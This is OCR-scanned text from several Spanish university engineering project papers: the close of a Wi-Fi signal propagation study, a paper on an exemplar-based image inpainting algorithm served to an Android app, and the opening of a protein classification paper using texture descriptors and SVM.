ha sido capaz de predecir con alta precision la potencia
recibida en puntos situados a una misma distancia del router.

A continuacion se plantea una segunda aproximacion. En
este caso, se va a suponer que todas las reflexiones se
produciran en un Unico punto de la pared, como se observa en
la Figura 12. De igual forma, la potencia total serd la
contribucion de la potencia del rayo directo y la potencia del
rayo reflejado.

Punto de
reflexion

Rayo reflejado

Rayo diréﬁ:to
\

Router

Fig.12. Esquema del nuevo escenario de trabajo.

La primera cuestion a resolver es cuantos puntos de la
pared considerar para tener una representacion fiable de la
potencia recibida. Por tanto, se ha realizado el estudio con 1,
3, 5 7,y 11 puntos de la pared. Para cada caso, se ha
calculado el valor de las pérdidas L del modelo.

Los mejores resultados se han obtenido cuando se realiza
el promedio de todos los puntos de la pared. El error
cometido en este caso es muy parecido al de la primera
aproximacién, 0,373dB. El modelo ha sido aplicado a otra
localizacion para comprobar su validez, obteniéndose un
error medio de apenas 0,3 dB con respecto a las medidas
reales que nos proprociona el analizador.

IV. CONCLUSIONES Y VIiAS FUTURAS DE ESTUDIO

Como conclusidn, se puede decir que el Proyecto cumple
con los todos objetivos marcados al comienzo del mismo.

En la primera parte del mismo, se ha obtenido un ajuste
del modelo Multi-Wall, generando una expresién genérica
que puede ser aplicada a viviendas de caracteristicas
similares a las del presente estudio, con un bajo coste
computacional.
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En la segunda parte del proyecto, se ha generado un
modelo para el estudio de las reflexiones partiendo desde
cero, con una serie de consideraciones y simplificaciones
iniciales. Este modelo supone una primera aproximacion a un
conjunto de futuras vias de investigacion:

1. Andlisis del modelo Multi-Wall en la banda de 5
GHz y comparacion de los resultados con los
obtenidos en la banda de 2,4 GHz.

2. Generaciéon de un modelo mas genérico, tomando
medidas en un mayor nimero de edificios. Se
plantea también el estudio de edificios menos
estandarizados.

3. Validacion del modelo creado en la segunda parte
del proyecto y ampliacion de la base de datos
relativa a las medidas tomadas. Se plantea también
el ajuste del exponente de pérdidas y.

4.  Ampliacién del modelo empirico generado en la
segunda parte del proyecto, de forma que se tenga
en cuenta mas de una reflexion, u otros efectos de
transmision como la difraccion.
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Resumen—Inpainting se refiere al proceso de recuperar una
parte deteriorada de una imagen o que tiene algiin objeto que la
oculta, con el fin de mejorar su calidad. En el mundo digital, el
objetivo de inpainting es traducir las técnicas manuales de los
restauradores profesionales de cuadros a una version digital de
las mismas, de manera que la region restaurada quede
perfectamente fusionada en la imagen, de forma no detectable
por un observador que no esté familiarizado con la imagen
original. En este proyecto se revisa del estado del arte inpainting
y se desarrolla un algoritmo con alta calidad de reconstruccion,
a diferencia de la mayor parte de algoritmos desarrollados por
la comunidad cientifica. Sin embargo, el tiempo requerido es
mayor que el de otros algoritmos que ofrecen menor calidad de
reconstruccion. Para hacer uso de este algoritmo, se desarrolla
una aplicacion Android donde el usuario puede seleccionar la
region que desea reconstruir de una imagen de su dispositivo. A
diferencia de las escasas aplicaciones de inpainting que existen
en el mercado, se opta por una arquitectura cliente-servidor,
donde la aplicacién Android actia como cliente enviando la
imagen original y la region seleccionada a reconstruir, y el
servidor ejecuta el algoritmo de inpainting para devolver la
imagen reconstruida.

Palabras clave - inpainting, isophote, gradiente, parche,
region fuente, blurring, region desconocida, espacio de color,
estructuras, texturas.

I. INTRODUCCION

L nimero de teléfonos moviles ha superado por primera

vez al numero de personas en el mundo, segun el informe
publicado por ditrendia [1]. En este informe se indica que
cada mes se lanzan 40.000 nuevas aplicaciones moviles, y
que Android es el sistema operativo lider en cuanto a nimero
de usuarios y niimero de aplicaciones descargadas. Ademas,
se indica que las aplicaciones relacionadas con la fotografia
fueron las segundas aplicaciones que mas crecieron durante
el afio 2014. Sin embargo, existen escasas aplicaciones que
permiten reconstruir imagenes digitales, y las que existen
ofrecen una calidad de reconstruccion bastante pobre.

En este proyecto se desarrolla una aplicacion Android que
ofrece funcionalidades de inpainting para eliminar objetos y
restaurar imagenes digitales. A diferencia de las escasas
aplicaciones existentes, el algoritmo de impainting no se
ejecuta de forma local en el dispositivo movil, sino que se

ejecuta en un servidor externo. El principal motivo es el
deseo de usar un algoritmo sofisticado que ofrezca muy
buena calidad de reconstruccion sin tener limitaciones de
tiempo computacional. Por tanto, el dispositivo Android
realiza conexiones al servidor enviandole la imagen original
y la posicion de los pixeles que se desean reconstruir, y el
servidor le devuelve la imagen reconstruida.

II. ESTADO DEL ARTE DE INPAINTING

Inpainting o la reconstruccion de una imagen es el proceso
que permite recuperar una parte deteriorada de ella o que
tiene algin objeto que la oculta, con el fin de mejorar su
calidad. El objetivo de este arte es que la region restaurada
quede perfectamente fusionada en la imagen, de forma no
detectable por un observador que no esta familiarizado con la
imagen original.

Los algoritmos de inpainting hacen continuamente
referencia a los siguientes términos: parche o ejemplar,
estructura y textura. Un parche o ejemplar es un conjunto de
pixeles localizados en una misma zona de la imagen. Los
algoritmos de inpainting suelen reconstruir un parche en cada
iteracion. Por otro lado, las estructuras de una imagen son las
diferentes lineas y curvas que definen a los objetos o sujetos
de la imagen, mientras que las texturas son los elementos
visuales que caracterizan materialmente las superficies de los
objetos o sujetos de la imagen.

En una imagen se distinguen dos tipos de regiones:
conocida y desconocida. La region desconocida es la region
que hay que reconstruir, mientras que la region conocida es el
resto de la imagen.

Segiin [2], existen tres categorias de algoritmos para
resolver el problema de inpainting: algoritmos basados en
difusion, en ejemplares y en dispersion. A continuacion, se
presenta un resumen de estos algoritmos. En [3] se puede
encontrar informacion mas detallada.

A. Inpainting basado en difusion

El término difusion hace referencia a la idea de la
propagacion de informacion local de forma suave, en
analogia con el fenémeno fisico de la propagacion del calor
en estructuras fisicas. Estos métodos utilizan modelos
paramétricos o ecuaciones diferenciales parciales (PDEs)
para propagar las estructuras locales desde el exterior hacia el
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interior de la region a reconstruir. Su objetivo es favorecer la
propagacion en determinadas direcciones y tener en cuenta la
curvatura de una estructura que se encuentra cerca de la
region a reconstruir.

Estos métodos son adecuados para reconstruir lineas rectas
0 curvas en regiones pequeias. Sin embargo, no son
adecuados para reconstruir grandes areas, ya que tienden a
introducir blurring en la parte reconstruida.

B. Inpainting basado en ejemplares

Los métodos basados en ejemplares se basan en el
influyente trabajo realizado por Efros y Leung [3], que
revolucioné la estadistica de imagenes, y se basa en la
similitud entre parches. En este trabajo se asume que las
estadisticas de texturas de imdgenes son estacionarias u
homogenéas. Entonces, se propone que la textura que se
desea sintetizar se aprenda a partir de la regién conocida de la
propia imagen, de tal forma que se copian parches desde la
region conocida hacia la desconocida. Estos métodos son
adecuados para reconstruir regiones grandes.

C. Inpainting basado en dispersion

Estos métodos han surgido a partir de la aparicion de las
representaciones dispersas o ralas. La imagen a reconstruir se
considera dispersa en una determinada base, como por
ejemplo, la trasnformada discreta del coseno (DCT).
Entonces, se asume que las regiones conocida y desconocida
comparten el mismo tipo de representacion.

III. ALGORITMO DE INPAINTING PROPUESTO

El algoritmo que se propone combina ideas de dos técnicas
descritas en [5] y [6]. La técnica descrita en [5] fue una de las
primeras que introdujo la solucién de inpainting basada en
ejemplares. Por otro lado, la técnica descrita en [6] ha sido
ideada por los directores Jan Koloda y Antonio M. Peinado
de este proyecto, y es una técnica de ocultacion por pérdidas
para reconstruir las regiones perdidas en la transmision de
una imagen o video. A pesar de que esta técnica no esta
orientada a impainting, propone una buena solucién para
reconstruir los distintos parches de la region desconocida (U)
a partir de los parches de la region fuente (S). Cabe destacar
que dependiendo del algoritmo de inpainting, la region fuente
puede coincidir con la region conocida (I-U) 6 ser solo una
parte de la region conocida. En el algoritmo que se ha
desarrollado, la region fuente es solo una parte de la region
conocida. En la figura 1 se muestran estas regiones.

A. Fundamentos del algoritmo propuesto

El algoritmo desarrollado esta basado en ejemplares, de tal
forma que se reconstruye un parche de la region desconocida
en cada iteracion del algoritmo. En la figura 2 se muestra
como se realiza cada iteracion del algoritmo desarrollado. En
primer lugar, se definen las regiones fuente (S) y desconocida
(U), asi como el contorno 6U. Este contorno consiste en la
capa de pixeles mas externa de la region desconocida y, por
tanto, es el que da forma a esta region. En la figura 2(b) se
muestra el parche cuadrado W, que se desea reconstruir en
una iteracion, el cual estd centrado en un pixel p
perteneciente al contorno 6U. El objetivo es encontrar los
parches més parecidos a W, en la region fuente. Tal y como
se muestra en la figura 2(c), los parches mas parecidos a éste
son los que se encuentran en la estructura que separa las

texturas amarilla y azul. Por tltimo, a partir de los parches
mas parecidos se obtiene el valor de los pixeles que se
necesitan reconstruir del parche W,, que son los pixeles
blancos que forman parte de la region desconocida. Por tanto,
un parche estd formado por unos pixeles pertenecientes a la
region fuente, que se utilizan para realizar la comparacion
con otros parches mediante una determinada métrica de
distancia, y por otros pixeles pertenecientes a la region
desconocida, que son los que se reconstruyen.

Regién
desconocida

Fig. 1. Regiones de una imagen (I). En azul se muestra la region desconocida
(U). El resto de la imagen es la region conocida (I-U). La region fuente (S)
es la parte de la region conocida que rodea a la desconocida con una anchura
de 25 pixeles, y es la que provee las muestras para reconstruir los pixeles de
la region desconocida.

S
S , Regién fuente
sU 3U
P
U , Regién desconocida p U
a b
)
dU :
U,
£ u
¢ d

Fig. 2. Ejemplo de una iteracion del algoritmo desarrollado. (a) Imagen
original con la region desconocida U, su contorno 6U y la region fuente S.
(b) Se desea reconstruir el parche ¥, centrado en el pixel p € U. (c) Los

parches mas parecidos a ¥, pertenecen a la estructura que separa las dos

texturas de la region S. (d) Reconstruccion del parche ¥, a partir de los
parches mas parecidos. Tras la reconstruccion, el contorno §U pasa a tener
una forma diferente.

Por otra parte, la calidad de reconstruccion va a depender
mucho del orden en que se reconstruyen los parches. En la
figura 3 se ilustra el orden de reconstruccion que se desea que
tenga el algoritmo que se propone, y se compara con la
técnica de relleno de capas concéntricas, conocida como
técnica de tipo Onion Peel.

En la figura 3(a) se muestra la imagen que se desea
reconstruir, donde la region blanca es la region desconocida.
En la figura 3(b)-(c)-(d) se muestra el progreso de la
reconstruccion utilizando una técnica de relleno de capas
concéntricas, que consiste en reconstruir los parches desde la
capa mas externa hasta la capa mas interna de la region
desconocida, sin tener en cuenta la geometria de la imagen.
Tal y como se puede observar, esta técnica no es adecuada
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para inpainting porque no permite propagar las texturas y
estructuras de la imagen correctamente.

En la figura 3(b’)-(c’)-(d’) se muestra el progreso del
algoritmo que se propone, el cual reconstruye primero
aquellos parches que se encuentran cerca de las estructuras de
la imagen, con el fin de propagar las texturas y estructuras
correctamente.

Proceso de relleno

M M
s s

Onion peel

Técnica deseada

Fig. 3. (a) Imagen a reconstruir. (b)-(c)-(d) Progreso de reconstruccion con
una técnica de capas concéntricas. (b')-(c')-(d") Progreso de reconstruccion
con el algoritmo que se propone.

B. Algoritmo de inpainting desarrollado

El algoritmo desarrollado utiliza parches cuadrados de 9x9
pixeles, tal y como se propone en [5]. En cada iteracion
existen tantos parches candidatos a ser reconstruidos como
numero de pixeles tenga el contorno U, de tal forma que
cada parche de 9x9 pixeles esta centrado en un pixel diferente
del contorno.

Ademas, cada pixel de la region fuente tiene asociado tres
valores de color (un valor por cada plano de color), y un
valor de confianza. Por otro lado, a cada parche candidato a
ser reconstruido en una iteracion se le asigna una prioridad
temporal, que se obtiene a partir de la geometria de la imagen
y de los valores de confianza de los pixeles que conforman el
parche, de tal forma que esta prioridad determina el orden en
que se reconstruyen los parches. Esta prioridad es temporal
porque puede cambiar su valor de una iteracion a otra.

El algoritmo repite los siguientes tres pasos en cada
iteracion hasta que todos los pixeles de la region desconocida
son reconstruidos:

1) Asignacidn de prioridades a los parches candidatos

En este paso se asignan las prioridades temporales a todos
los parches candidatos a ser reconstruidos en una
determinada iteracion, con el fin de reconstruir en el siguiente
paso el parche con mayor prioridad. La prioridad asignada a
cada parche candidato depende de dos factores:

* La cercania del parche a estructuras de la imagen.
* La cantidad de pixeles con valor de confianza alto
por los que esta compuesto el parche.

La prioridad del parche W, centrado en el pixel p del
contorno U se denota P(p), y estd compuesta por dos
términos:

P(p) = C(p)D(p) (D

El término C(p) es el término de confianza y el término
D(p) es el término de datos.
La expresion del término de confianza es:
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donde |LPp| es el area del parche de 9x9 pixeles y, por tanto,
su valor es 81 unidades de area. Como ya se indico
anteriormente, /-U es la region conocida de la imagen.

En la inicializacion se establecen las siguientes prioridades:

(0 VpeU
C(p)‘{1 Vpel-U )

La prioridad C(p) permite asignar un valor de confianza
mayor a los pixeles que se encuentran en las capas mas
externas de la region desconocida, con el fin de reconstruir
estos pixeles antes, ya que estdn rodeados de informacion
mas fiable.

Por otro lado, el término de datos D(p) se define como el
valor absoluto del producto escalar entre la direccion del
isophote VI; en el pixel p, es decir, la direccion
perpendicular al gradiente de la imagen en el pixel p, y la
direccion normal n,, al contorno §U (contorno que separa la
region desconocida U y la region conocida [-U). Cabe
destacar que el isophote de una imagen tiene el mismo
moédulo que el gradiente pero direccion perpendicular, de tal
forma que la direccion del isophote en un derminado pixel de
la imagen representa la direccion de minimo cambio de
intensidad espacial. Su expresion analitica es:

D(p) = |VI} - n,)| (4)

Este término de datos mide la fuerza de los isophotes
cercarnos a la frontera dU, de tal forma que favorece a
aquellos parches en los que el isophote de la imagen evaluado
en el pixel central del parche es perpendicular al contorno
6U. Esto permite propagar las estructuras de la imagen desde
la region conocida a la desconocida.

En la figura 4 se muestra un ejemplo del valor que tienen el
término de datos y el término de confianza en una
determinada iteracion del algoritmo. El color rojo representa
un valor bajo y el color verde representa un valor alto. En la
figura 4(a) se muestra el valor del término de confianza, de
tal forma que asigna un valor alto a los pixeles de las capas
mas externas de la region desconocida, y un valor bajo a los
pixeles de las capas mas internas. Por otro lado, en la figura
4(b) se muestra el valor del término de datos, donde se puede
observar que asigna un valor alto a los pixeles cercanos a la
estructura de la imagen, con el fin de propagarla.

a b

Fig. 4. Efecto de los términos de datos y confianza. (a) Valor del término de
confianza. (b) Valor del término de datos. El color verde representa un valor
alto, y el color rojo representa un valor bajo.

2) Propagacion de texturas y estructuras

Una vez que se ha asignado la prioridad P(p) a todos los
parches con pixel central formando parte del contorno 8U, se
elige el parche W5 que tiene mayor prioridad, con el objetivo
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de reconstruir sus pixeles desconocidos en este paso del
algoritmo.

En primer lugar, se busca en la region fuente S los cinco
parches mas parecidos al que se desea reconstruir. En este
paso se van a considerar parches de 13x13 pixeles, con el fin
de tener mas pixeles conocidos en el parche a reconstruir.
Como métrica de distancia se usa la distancia de minimos
cuadrados (SSD):

d(lpz%3x13‘q_,33x13) — ”ng _ q,qs”i _
2
=) (Hww) - wiww)

AT

)

donde W3**'3 es el parche de orden 13 centrado en el pixel
p, y W5 representa a los pixeles del parche W5*'* que
pertenecen a la region fuente S.

El espacio de color que se usa para representar el valor del
color de los pixeles es CIE L*a*b*. Se usa este espacio de
color porque presenta la caracteristica de uniformidad
perceptual, a diferencia de otros espacios mas populares
como el RGB. La uniformidad perceptual indica que un
determinado cambio en el valor de un color produce un
cambio visual de la misma importancia. En [7] se demuestra
que las distancias en el espacio de color CIE L*a*b* son mas
significativas que las distancias en el espacio RGB.

Una vez que se han encontrado los cinco parches mas
parecidos al que se desea reconstruir W5, se realiza una
combinacion lineal para obtener el valor de los pixeles
desconocidos del parche a reconstruir. Esta combinacion
lineal se realiza de acuerdo al método propuesto en [6]:

W = Z W, 6)

donde ‘Pg representa a los pixeles desconocidos del parche
de orden 9 centrado en el pixel p. Entonces, la comparacion
entre parches se realiza considerando parches de 13x13
pixeles (formula 5), mientras que la reconstruccion del
parche se realiza considerando esos parches que estan
centrados en el mismo pixel pero que tienen un tamafio de
9x9 pixeles. Por tanto, el parche de orden 9 es un
subconjunto del parche de orden 13, en concreto es aquel
subconjunto cuyo pixel central es el mismo. Esto se ha
elegido asi de forma experimental tras realizar numerosas
pruebas con imagenes distintas. Cabe destacar que en
inpainting no se puede medir la calidad de la reconstruccion
de forma objetiva, es decir, mediante una mediciéon. La
calidad del resultado siempre se mide de forma subjetiva, y
por ello, la eleccion del tamafio de los parches se ha realizado
de manera experimental.

El peso que se asigna a cada uno de los cinco parches mas
parecidos se calcula de acuerdo con el método propuesto en

[6]:

2
vp-wil,

e 2
Wy=———— k=1,...,5 (7)

2
i
i€ 2

En la figura 5 se muestra el proceso de reconstrucciéon de un
parche a partir de los cinco parches mas parecidos que se
encuentran dentro de la region fuente S.

12 5

Célculo de pesos

Busqueda de
parches mas
parecidos

w5

wi w2

Combinacién
lineal

Fig. 5. Proceso de reconstruccion de un parche a partir de los cinco parches
mas parecidos.

3) Actualizacién de los valores de confianza

Una vez que han reconstruido los pixeles desconocidos del
parche elegido como prioritario, es necesario actualizar el
valor de confianza C(p) de estos pixeles que se acaban de
rellenar. La regla de actualizacion es:

Cp)=CH)VVpe¥Y;nU (®

Esta simple regla de actualizacion permite medir la
informacion fiable que rodea a cada parche candidato a ser
reconstruido en cada iteracion del algoritmo.

De esta forma, los valores de confianza que se asignan a los
pixeles reconstruidos van disminuyendo conforme el
algoritmo avaza hacia las capas de pixeles mas internas de la
region desconocida U.

C. Resumen del algoritmo

A continuacion se muestra un pseudocodigo de los pasos
del algoritmo desarrollado:

*  Repetir hasta reconstruir todos los pixeles:

1. Extraccion del contorno 6U que delimita la region
conocida /-U'y la region desconocida U.

2. Calculo de las prioridades P(p) Vp € S§U.

3. Encontrar el parche de 9x9 pixeles W5 con la
maxima prioridad: p = argmax[P(p)].

4. Encontrar los cinco parches de 13x13 pixeles Y; €
S que minimzan la distancia d(‘~l’%3x13, ‘~P¢}3x13).

5. Reconstruir los pixeles desconocidos del parche de
orden 9 W5 a partir de una combinacién lineal de
los cinco parches de orden 9 centrados en cada uno
de los cinco parches de orden 13 encontrados en el
paso anterior: Wi = Y3_, w, W .

6. Actualizar C(p) =C(P)Vp EWPYsNU.

IV. RESULTADOS

En la figura 6 se muestran ocho reconstrucciones utilizando
el algoritmo de inpainting desarollado, donde se ha hecho uso
de la aplicacion Android implementada para seleccionar el
area que se desea reconstruir. Tal y como se puede observar,
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la calidad de reconstrucciéon es muy buena debido a que se
propagan correctamente las estructuras y texturas hacia la
region desconocida.

En la figura 7 se muestran las distintas etapas del proceso
de reconstruccion donde se elimina la botella de la figura
6(d).

Fig. 6. Ejemplos de reconstruccion con el algoritmo desarrollado.
(Izquierda) Imagen original. (Derecha) Imagen reconstruida.
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En amarillo se muestra la region fuente S de 25 pixeles
donde se toman las muestras de reconstruccion. Se puede
observar como se propagan primero las tres estructuras
gracias al término de datos D(p) explicado en la seccion
anterior, aunque también se van propagando poco a poco las
texturas gracias al término de confianza C(p), y finalmente se
terminan de propagar las tres texturas para completar la
reconstruccion. Por tanto, se ha conseguido el equilibrio de
propagacion de texturas y estructuras de forma conjunta.

(@) (b) ()
(d) (e) ()

Fig. 7. Proceso de reconstruccion de una imagen. (a) En amarillo se muestra
la region fuente S considerada, y en azul se muestra la mascara seflalada por
el usuario (zona desconocida U). (b), (¢), (d), (¢) Diferentes etapas del
proceso de reconstruccion. (f) Imagen reconstruida.

V. COMPARACION DE RESULTADOS

En la figura 8 se muestran las reconstrucciones de dos
ejemplos con tres algoritmos distintos.

En primer lugar, se reconstruye la imagen clasica conocida
como "NO DOGS ALLOWED" donde se elimina la sefial que
contiene este mensaje. En la figura 8(a') se utiliza el
algoritmo clasico de capas concéntricas, y se puede ver que
no se consigue propagar las estructuras. En la figura 8(a") se
utiliza el algoritmo de Criminisi et al. explicado en [5] donde
se ha rodeado en rojo la parte donde se considera que existe
un error de propagacion de la textura del agua. En la figura
8(a™) se utiliza el algoritmo desarrollado donde se considera
que no existe ningun error.

Por otro lado, se reconstruye la imagen clasica del saltador
de puenting (figura 8(b)). En la figura 8(b') se usa un
algoritmo de difusion isotropica, donde se puede ver la gran
cantidad de blurring que se introduce. En la figura 8(b") se
usa el algoritmo de Criminisi et al., donde se han indicado las

TABLA T
TIEMPO DE RECONSTRUCCION DE LA IMAGEN "NO DOGS ALLOWED"

Algoritmo de . Criminisi et Algoritmo
L Onion-Peel
inpainting al. desarrollado
Tiempo de
reconstruccion 25 39 46
(segundos)
TABLAII
TIEMPO DE RECONSTRUCCION DE LA IMAGEN DEL SALTADOR DE
PUENTING
Algoritmo de Difusién Criminisi et Algoritmo
inpainting isotrépica al. desarrollado
Tiempo de
reconstruccion 10 7.7 8.45
(minutos)
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Android

tres zonas en las que se considera que se introduce error de
propagacion. Por ultimo, en la figura 8(b") se muestra la
reconstruccion con el algoritmo desarrollado, donde también
se considera que no existe ningun error y, por tanto, el
algoritmo de inpainting desarrollado ofrece mayor calidad de
reconstruccion.

W

(a)

(b")

Fig. 8. Comparacion de reconstrucciones entre distintos algoritmos. (a), (b)
Imagenes originales. (a') Algoritmo clasico de capas concéntricas (Onion
Peel). (b') Algoritmo de difusion isotropica. (a"), (b") Algoritmo de Criminisi
et al. [5]. (a"), (b") Algoritmo desarrollado.

En las tablas I y II se muestra el tiempo de reconstruccion
empleado con cada algoritmo de impainting en las dos
reconstrucciones mostradas en la figura 8. El ordenador
emplado tiene un procesador i7 con una CPU de 2.3 GHz y
una memoria RAM de 4 GB. Aunque el algoritmo
desarrollado tarda un poco mas en realizar las
reconstrucciones que el famoso algoritmo de Criminisi et al.,
ofrece una mayor calidad de reconstruccion, tal y como se
puede ver en la figura 8.

VI. APLICACION ANDROID IMPLEMENTADA

Para poder hacer uso del algoritmo de inpainting
desarrollado se ha implementado una aplicacion Android y
un servidor Java que se comunican mediante sockets. El
algoritmo de inpainting se ha implementado en MatLab, de
tal manera que el servidor Java ejecuta el script de MatLab
cada vez que recibe una peticion de reconstruccion por parte
del cliente Android.

En la aplicacion Android el usuario elige una imagen de su
galeria de fotos y selecciona el area que desea reconstruir de
dicha imagen, de tal forma que la aplicacion envia la imagen
original y la posicion de los pixeles que definen la region a
reconstruir, es decir, la posicion de los pixeles que conforman
el contorno 6U en la primera iteracion del algoritmo.
Ademas, esta aplicacion no solo ofrece la funcionalidad de
inpainting, sino que ofrece otras diez funcionalidades ttiles
para el tratamiento de imagenes, tal y como correccion
gamma, filtrado de color, etc. Para mas informacion se puede
consultar [3], y en [8] se puede ver un video donde se
muestra el funcionamiento de la aplicacion desarrollada.

VII. CONCLUSIONES

El algoritmo de inpainting desarrollado en este proyecto
ofrece una calidad de reconstruccion que muy pocos

algoritmos presentados por la comunidad cientifica son
capaces de igualar. Como cualquier algoritmo complejo de
inpainting, necesita un tiempo de reconstruccion elevado que
oscila entre 1 y 20 minutos, dependiendo de la resolucion de
la imagen, del tamafio de la region a reconstruir y, por
supuesto, de la maquina donde se ejecute. Como linea de
trabajo futura se plantea implementar el algoritmo de
inpainting en otro lenguaje de programacion mas rapido, tal
y como C o C++.

Por otro lado, se ha implementado una aplicaciéon Android
que permite hacer uso del algoritmo, y que ofrece otras once
funcionalidades para tratamiento de imagenes. En Ila
actualidad, existen muy pocas aplicaciones que ofrecen la
funcionalidad de inpainting, y esa ha sido una de las
principales motivaciones de este proyecto. Como linea de
trabajo futura se plantea usar una comunicacion distinta entre
cliente y servidor, tal y como el uso de JSON, con el fin de
publicar la aplicacion Android.
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Resumen—En el presente trabajo se propone la imple-
mentacion de un clasificador de proteinas basado en la rep-
resentacion de cada proteina como una sefial bidimensional o
imagen, mucho menos explotada en el ambito cientifico que
la ya conocida representacion de éstas como sefiales unidimen-
sionales. Una vez obtenida la imagen proteica se le aplicaran
diversos descriptores de texturas con la finalidad de extraer
caracteristicas comunes a cada familia de proteinas, para poder
asi entrenar un clasificador que delimite nuevos casos de forma
automatizada. Seran propuestos como objeto de estudio distintos
criterios para pasar de una secuencia de caracteres alfabéticos
a una cadena numérica, asi como diferentes descriptores de
texturas para encontrar la combinacion que ofrezca el mejor
compromiso entre rapidez y precisién en base a los conjuntos
de proteinas analizados.

Palabras clave—proteina, clasificacion, procesado de senal,
imagen, CWT, descriptor de texturas, LBP, LPQ, filtros de
Gabor, SVM.

I. INTRODUCCION

A genémica y la protedmica son campos que estdn

teniendo un gran auge en los udltimos afios dentro de
la biologia. El conocimiento de estas materias permite al
ser humano indagar sobre qué somos y de dénde veni-
mos, en términos evolutivos, ofreciendo una posible via de
conocimiento hacia el origen de la vida. Sin embargo, el
estudio de genes y proteinas no es sélo utilizado para mirar
hacia el pasado, sino que ademds esta siendo fundamental en
la medicina actual para el desarrollo de novedosos tratamien-
tos y vacunas contra diversas enfermedades, asi como la
monitorizacién y seguimiento de muchas otras.

Gracias a las nuevas tecnologias y los avances en la biologia
tradicional se ha logrado detectar y documentar un nimero
enorme de proteinas distintas, habiendo en 2016 segin la
base de datos UniProt' un total de 62148086 secuencias de
proteinas unicas, agrupadas en 16295 familias que comparten
caracteristicas o funciones comunes [1]. Este ndmero total de
proteinas no es fijo, ya que sigue aumentando dia a dia.

Como consecuencia de la gran cantidad de informacién
de la que se dispone surge el propésito de este trabajo:
es necesario, o al menos ttil, la implementaciéon de un
clasificador que permita, de forma rdpida y automatizada,
ubicar cualquier nueva proteina dentro de una familia con la
que comparta caracteristicas comunes, con el fin de esbozar
su funcién o localizacién en el cuerpo humano, ya sea para

Uhttp://www.uniprot.org

documentarla o para utilizarla en diversas aplicaciones donde
pueda ser requerida. Como principales campos donde este
clasificador puede ser de utilidad se tienen la industria quimica
y farmacedtica. Es conveniente a la hora de desarrollar una
vacuna o principio activo contar con varias proteinas con la
misma funcién que pudiesen ser intercambiables. Asi mismo,
se podrian monitorizar los cambios sobre un ser vivo al aplicar
sobre éste diversos productos quimicos con algiin indice de
toxicidad o alérgenos. Por tltimo, muchas proteinas concretas
son utilizadas para la fabricacién de anticuerpos, esenciales
para la inmunizacién y autodefensa del organismo humano.
Se prevee que mediante la aplicacién de la bioinformatica en
la industria farmacéutica se reduzca el gasto de investigacion
en 300 millones de ddlares asi como el tiempo de desarrollo
de farmacos o vacunas en dos afios [2].

Para clasificar las proteinas dentro de familias con las
mismas caracteristicas se atendié en primer lugar al alin-
eamiento de secuencias, esto es, la comparacién de la ca-
dena de caracteres que representa a los aminodcidos de la
proteina desconocida con las distintas cadenas de proteinas
ya documentadas mediante algoritmos como la Programacion
Dindmica. El porqué de clasificarlas en cuanto a su secuencia
de aminoacidos se debe a que estos son los que conforman
la estructura tridimensional de la proteina, que a su vez estd
directamente relacionada con la funcién que ésta realiza, por
tanto la secuencia de aminodcidos y la funcién de la proteina
también estdn relacionadas.

El alineamiento de secuencias ha sido 1til para el caso de
los homdlogos cercanos, esto es, cuando las estructuras estan
estrechamente relacionadas, los cuales codifican funciones
bioldgicas bdsicas. Cuanto mds abstractas son las funciones
bioldgicas, mds débiles son las similitudes entre las proteinas,
pero muchas veces son estas funciones abstractas las que
mayor interés presentan en el campo de la biologia celular.
Para los homdlogos lejanos se sustituyé la Programacion
Dindmica por diversos modelos probabilisticos, mejorando el
método anterior pero aun lejos de resolver el problema. Esto
es debido a que, aunque existen 60 millones de proteinas,
los tamafios de las familias son muy dispares, habiendo
familias muy pequefias que no aportan el suficiente nimero de
muestras como para establecer un buen modelo probabilistico
[3].

Una de las lineas de investigacién que busca suceder al
alineamiento de secuencias y a la creacién de modelos prob-
abilisticos para la clasificacién de proteinas es el tratamiento
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de éstas como cadenas numéricas interpretadas como sefiales,
pudiendo pues aplicar sobre ellas técnicas y herramientas del
procesado de sefal para extraer caracteristicas y posterior-
mente entrenar un modelo que clasifique muestras descono-
cidas a partir de casos documentados.

El presente trabajo estd centrado en la representacion de
las proteinas como imagenes (sefiales bidimensionales), como
complemento de las diversas representaciones ya conocidas de
la proteina como seflal unidimensional. Sobre las imdgenes
se aplicardn diversos descriptores de texturas para extraer de
ellas las caracteristicas o features que servirdn para entrenar
y testear el futuro clasificador. Se ha utilizado como punto de
partida el articulo de Nanni et al, Wavelet images and Chou’s
pseudo amino acid composition for protein classification [4],
aportando como novedades sobre éste un mayor nimero
de descriptores de texturas, el andlisis de cuatro criterios
totalmente distintos para pasar de la secuencia de caracteres
de aminodcidos a cadena numérica y una buisqueda optimizada
del mejor kernel a la hora de clasificar mediante SVM.
Ademads se busca a la hora de implementar el algoritmo una
programacion eficiente y lo mds rdpida posible, ya que el
analisis de tantas muestras e imagenes mediante descriptores
de texturas es un proceso con un coste computacional bastante
alto. A lo largo del trabajo se estudiardn y analizardn todas las
combinaciones propuestas, en cuanto a precision y rapidez se
refiere, para asi intentar encontrar el mejor clasificador posible
para las bases de datos de proteinas analizadas.

II. IMPLEMENTACION

En la figura 1 se muestran de forma resumida los pasos
seguidos a la hora de implementar el clasificador de proteinas,
que serdan descritos con mas detalle en las siguientes secciones
del articulo.

*GRAM

sAminoacidos: MNKKVVLSVLSTTL...
20 indices - similitud entre aminoacidos
PR

48 indices - propiedades de los aminoacidos
de la «CWT
imagen

*20 indices - PSSM

3 indices - estructura secundaria

LPQ
LBP
<BGP
SFTA

«SVM

Fig. 1: Diagrama de flujo con los pasos seguidos en el disefio
del algoritmo.

A. Bases de datos

El primer paso a la hora de implementar el clasificador
de proteinas es la eleccién de la base de datos sobre la que
se va a trabajar. En este trabajo hemos utilizado 2 bases

de datos proteicas, cada una dividida en un conjunto de
entrenamiento y otro de testeo. A continuacion se ofrece una
breve descripcién de cada una de ellas.

« GRAM: contiene 452 proteinas pertenecientes a bacterias
Gram-positivas, agrupadas en 5 clases distintas dependi-
endo de qué sublocalizacién celular tengan dentro de la
célula [5].

« MEM: contiene 7582 proteinas pertenecientes a 8 tipos
distintos de membranas celulares [6].

Cada una de las proteinas de las distintas bases de datos esta
representada por su secuencia de aminodciodos (cadena de
caracteres alfabéticos) asi como el subgrupo al que pertenece
dentro de su familia. Los ficheros .fasta pueden obtenerse en
los articulos referenciados en cada una de las bases de datos.

B. Representaciones

Una vez escogida la base de datos con la que se va a traba-
jar, el siguiente paso es transformar la secuencia de caracteres
alfabéticos que representa cada proteina en cadena numérica.
Para ello se presentan en este trabajo cuatro representaciones
distintas, las cuales establecen la equivalencia entre cada uno
de los 20 aminoacidos que pueden formar parte de la cadena
